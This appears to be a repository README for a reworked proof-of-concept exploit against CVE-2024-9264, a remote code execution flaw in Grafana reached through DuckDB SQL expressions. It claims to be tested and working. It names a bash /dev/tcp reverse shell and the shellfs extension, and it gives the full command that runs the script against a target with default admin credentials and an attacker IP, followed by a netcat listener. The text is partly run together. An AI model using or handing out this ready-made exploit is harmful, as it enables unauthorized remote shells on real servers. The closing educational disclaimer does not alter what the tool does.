
This is a fixed version of the proof-of-concept exploit for CVE-2024-9264, a critical remote code execution vulnerability in Grafana (via SQL expressions and DuckDB).
🔗 Original advisory: Grafana Security Release
❌ Original PoC: Broken due to syntax errors and incorrect use of write_file()
✅ This version works, tested on a vulnerable Grafana 11.0.0 instance.
writefile() instead of write_file() (DuckDB function)bash -i >& /dev/tcp/...shellfs extensioninstall shellfs from communitypython3 fixed_poc_writefile.py \
--url http://target:3000 \
--username admin \
--password admin \
--reverse-ip <YOUR_IP> \
--reverse-port 4444
Then listen with:
nc -lvnp 4444
This project is for educational purposes only.
Do not use it against targets you do not have permission to test.
Modified and validated by Exerr — original PoC by z3k0sec.